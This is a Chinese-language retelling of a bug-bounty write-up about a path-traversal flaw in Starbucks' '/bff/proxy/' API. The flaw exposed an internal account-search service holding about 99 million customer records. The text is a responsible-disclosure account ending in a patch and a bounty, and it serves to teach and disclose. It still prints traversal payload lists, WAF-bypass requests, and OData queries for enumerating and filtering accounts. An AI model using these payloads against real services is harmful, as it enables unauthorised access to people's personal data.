漏洞報告:“入侵”星巴克并訪問1億客戶記錄
Sam花了一整天的嘗試,仍然沒有在Verizon Media漏洞賞金計劃中有所收獲,于是,他決定先退出做一些其他事情。他上網(wǎng)準(zhǔn)備訂購星巴克的禮品卡,作為朋友的生日禮物。
當(dāng)sam在星巴克官網(wǎng)上試圖購買時,他發(fā)現(xiàn)了API調(diào)用的可疑之處:在以“ / bff / proxy /”為前綴的API下發(fā)送了一些請求,但這些請求返回的數(shù)據(jù)似乎來自另一臺主機。
正好,由于星巴克有一個漏洞賞金計劃,于是,繼續(xù)研究下去吧。
以下是返回sam的用戶信息的其中之一的API調(diào)用示例:
- POST /bff/proxy/orchestra/get-user HTTP/1.1
- Host: app.starbucks.com
- {
- "data": {
- "user": {
- "exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",
- "firstName": "Sam",
- "lastName": "Curry",
- "email": "samwcurry@gmail.com",
- "partnerNumber": null,
- "birthDay": null,
- "birthMonth": null,
- "loyaltyProgram": null
- }
- }
- }
在上面的示例中,“ app.starbucks.com”主機將無法訪問通過特定端點訪問的數(shù)據(jù),但可以充當(dāng)假設(shè)的第二個主機的代理或中間人,“internal.starbucks.com”。
這里要考慮的一些有趣的事情是……
- 我們?nèi)绾螠y試應(yīng)用程序的路由?
- 如果應(yīng)用程序?qū)⒄埱舐酚傻絻?nèi)部主機,則權(quán)限模型是什么樣的?
- 我們可以控制發(fā)送到內(nèi)部主機的請求中的路徑或參數(shù)嗎?
- 內(nèi)部主機上是否有開放重定向,如果有,應(yīng)用程序?qū)⒆裱_放重定向嗎?
- 返回的內(nèi)容是否必須匹配適當(dāng)?shù)念愋?是否解析JSON,XML或任何其他數(shù)據(jù)?)
Sam做的第一件事是嘗試遍歷API調(diào)用,以便可以加載其他路徑,而執(zhí)行此操作的方式是發(fā)送以下負載:
- /bff/proxy/orchestra/get-user/..%2f
- /bff/proxy/orchestra/get-user/..;/
- /bff/proxy/orchestra/get-user/../
- /bff/proxy/orchestra/get-user/..%00/
- /bff/proxy/orchestra/get-user/..%0d/
- /bff/proxy/orchestra/get-user/..%5c
- /bff/proxy/orchestra/get-user/..\
- /bff/proxy/orchestra/get-user/..%ff/
- /bff/proxy/orchestra/get-user/%2e%2e%2f
- /bff/proxy/orchestra/get-user/.%2e/
- /bff/proxy/orchestra/get-user/%3f (?)
- /bff/proxy/orchestra/get-user/%26 (&)
- /bff/proxy/orchestra/get-user/%23 (#)
可惜的是,這些都不起作用。它們都返回了我通常會看到的相同的404頁面……
在這種情況下,我們可以將“ / bff / proxy / orchestra / get-user”視為我們正在調(diào)用的未包含用戶輸入的函數(shù)。同時,我們有機會找到一個確實接受用戶輸入的函數(shù),例如“ / bff / proxy / users /:id”,在這里我們有足夠的空間測試它將接受的數(shù)據(jù)。如果我們發(fā)現(xiàn)這樣的API調(diào)用,那么嘗試遍歷有效負載并發(fā)送其他數(shù)據(jù)(實際上是在用戶輸入中接收)可能會更有幫助。
Sam仔細留意這個App,發(fā)現(xiàn)了更多的API調(diào)用。而他發(fā)現(xiàn)的接受用戶輸入的第一個信息是:
- GET /bff/proxy/v1/me/streamItems/:streamItemId HTTP/1.1
- Host: app.starbucks.com
這個端點不同于“get user”端點,因為最后一個路徑作為參數(shù)存在,在其中提供了任意輸入。如果將此輸入作為內(nèi)部系統(tǒng)上的路徑處理,那么完全可能遍歷它并訪問其他內(nèi)部端點。
幸運的是,sam嘗試的第一個測試返回了一個非常好的指標(biāo),表明可以遍歷端點:
- GET /bff/proxy/stream/v1/users/me/streamItems/..\ HTTP/1.1
- Host: app.starbucks.com
- {
- "errors": [
- {
- "message": "Not Found",
- "errorCode": 404,
- ...
這個JSON響應(yīng)與“ / bff / proxy”下所有其他常規(guī)API調(diào)用的JSON響應(yīng)相同。這表明sam正在使用內(nèi)部系統(tǒng),并且已經(jīng)成功地修改了正在與之交談的路徑。下一步將是映射內(nèi)部系統(tǒng),而做到這一點的最佳方法將是通過標(biāo)識返回“ 400錯誤請求”的第一條路徑遍歷到根。
但很快,sam遇到了一個障礙。有一個WAF讓他不能深入兩個目錄:
- GET /bff/proxy/stream/v1/users/me/streamItems/..\..\ HTTP/1.1
- Host: app.starbucks.com
- HTTP/1.1 403 Forbidden
- 不過,這個WAF很弱……
- GET /bff/proxy/v1/me/streamItems/web\..\.\..\ HTTP/1.1
- Host: app.starbucks.com
- {
- "errors": [
- {
- "message": "Not Found",
- "errorCode": 404,
- ...
最終,在返回7條路徑后,sam收到了以下錯誤:
- GET /bff/proxy/v1/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\..\ HTTP/1.1
- Host: app.starbucks.com
- {
- "errors": [
- {
- "message": "Bad Request",
- "errorCode": 400,
- ...
這意味著內(nèi)部API的根是6個返回路徑,可以使用目錄暴力破解工具或Burp Suite的入侵者和單詞列表將其映射出來。
此時,sam對這個漏洞更加感興趣了,他和Justin Gardner進行了探討。
而Justin Gardner幾乎立即在內(nèi)部系統(tǒng)的根目錄下識別出許多路徑,方法是觀察到對這些路徑的HTTP請求,之后如果沒有正斜杠,就會使用Burp的入侵者返回重定向代碼:
- GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search
- Host: app.starbucks.com
- HTTP/1.1 301 Moved Permanently
- Server: nginx
- Content-Type: text/html
- Content-Length: 162
- Location: /search/
Justin致力于尋找所有端點時,sam開始逐一研究每個目錄。運行完自己的掃描后,sam發(fā)現(xiàn)“搜索”下有“v1”,而“v1”下有“賬戶”和“地址”。
于是,他給Justin發(fā)了一條消息,想想如果“ / search / v1 / accounts”端點是對所有生產(chǎn)帳戶的搜索,那將是多么有趣……
而事實,果然如此。“ / search / v1 / accounts”可以訪問所有星巴克帳戶的Microsoft Graph實例。
- GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Accounts\ HTTP/1.1
- Host: app.starbucks.com
- {
- "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
- "value": [
- {
- "Id": 1,
- "ExternalId": "12345",
- "UserName": "UserName",
- "FirstName": "FirstName",
- "LastName": "LastName",
- "EmailAddress": "0640DE@example.com",
- "Submarket": "US",
- "PartnerNumber": null,
- "RegistrationDate": "1900-01-01T00:00:00Z",
- "RegistrationSource": "iOSApp",
- "LastUpdated": "2017-06-01T15:32:56.4925207Z"
- },
- ...
- lots of production accounts
此外,“地址”端點返回了類似的信息……
- GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Addresses\ HTTP/1.1
- Host: app.starbucks.com
- {
- "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Addresses",
- "value": [
- {
- "Id": 1,
- "AccountId": 1,
- "AddressType": "3",
- "AddressLine1": null,
- "AddressLine2": null,
- "AddressLine3": null,
- "City": null,
- "PostalCode": null,
- "Country": null,
- "CountrySubdivision": null,
- "FirstName": null,
- "LastName": null,
- "PhoneNumber": null
- },
- ...
- lots of production addresses
它是為生產(chǎn)帳戶和地址提供的服務(wù)。隨后,sam開始進一步探索該服務(wù),以使用Microsoft Graph功能進行確認。
- GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$count=true
- Host: app.starbucks.com
- {
- "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
- "@odata.count":99356059
- }
通過從Microsoft Graph URL添加“ $ count”參數(shù),可以確定該服務(wù)具有近1億條記錄。攻擊者可以通過添加“ $ skip”和“ $ count”之類的參數(shù)枚舉所有用戶帳戶來竊取此數(shù)據(jù)。
此外,要查明特定的用戶帳戶,攻擊者可以使用“ $ filter”參數(shù):
- GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1
- Host: app.starbucks.com
- {
- "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
- "value": [
- {
- "Id": 81763022,
- "ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354",
- "UserName": "redacted@gmail.com",
- "FirstName": "Justin",
- "LastName": "Gardner",
- "EmailAddress": "redacted@gmail.com",
- "Submarket": "US",
- "PartnerNumber": null,
- "RegistrationDate": "2018-05-19T18:52:15.0763564Z",
- "RegistrationSource": "Android",
- "LastUpdated": "2020-05-16T23:28:39.3426069Z"
- }
- ]
- }
最后,sam還發(fā)現(xiàn)的其他一些端點,可能(尚未確認)使攻擊者能夠訪問和修改帳單地址、禮品卡、獎勵和優(yōu)惠等內(nèi)容。
- barcode, loyalty, appsettings, card, challenge, content, identifier, identity, onboarding, orderhistory, permissions, product, promotion, account, billingaddress, enrollment, location, music, offers, rewards, keyserver
時間線
- 5月16日報道
- 5月17日補丁
- 5月19日頒發(fā)賞金(4000美元)
- 6月16日公開
參考鏈接:https://samcurry.net/hacking-starbucks/